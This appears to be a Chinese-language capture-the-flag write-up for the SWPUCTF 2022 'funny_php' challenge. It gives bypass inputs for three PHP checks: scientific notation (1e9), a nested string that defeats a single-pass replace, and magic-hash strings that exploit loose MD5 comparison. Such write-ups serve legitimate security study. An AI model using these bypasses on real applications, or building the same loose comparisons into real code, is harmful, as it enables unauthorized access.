[SWPUCTF 2022 新生赛]funny_php WP
初看代码,发现获取 flag 的条件。
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){include('flag.php');echo $flag;
}
$_SESSION['L1']=1 的判断在上面。
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){echo ":D";$_SESSION['L1'] = 1;
}else{echo ":C";
}
有长度限制与比较,这里发现 \(999999999\) 一共 \(9\) 位,可以用科学计数法 1e9 来绕过。
?num=1e9

接下来来看 $_SESSION['L2'].
if(isset($_GET['str'])){$str = preg_replace('/NSSCTF/',"",$_GET['str']);if($str === "NSSCTF"){echo "wow";$_SESSION['L2'] = 1;}else{echo $str;}
}
这里会把 NSSCTF 替换,常使用大小写混过去,但发现不行,这里有一种方法,可以利用替换 NSSCTF 来使得 $str==="NSSCTF"。
?num=1e9&str=NNSSCTFSSCTF
当他把 NNSSCTFSSCTF 中的 NSSCTF 替换掉,str 恰好变为 NSSCTF。

接下来看最后一个。
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){echo "Nice!";if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){echo "yoxi!";$_SESSION['L3'] = 1;}else{echo "X(";}}}else{echo "G";echo $_POST['md5_1']."\n".$_POST['md5_2'];}
}
这里是 MD5 哈希比较,要求 md5_1 和 md5_2 都是字符串,不相等,且 MD5 相等,根据 Hello CTF 博客的信息,可以用 QLTHNDT 和 QNKCDZO 来绕过。
md5_1=QLTHNDT&md5_2=QNKCDZO
成功绕过!
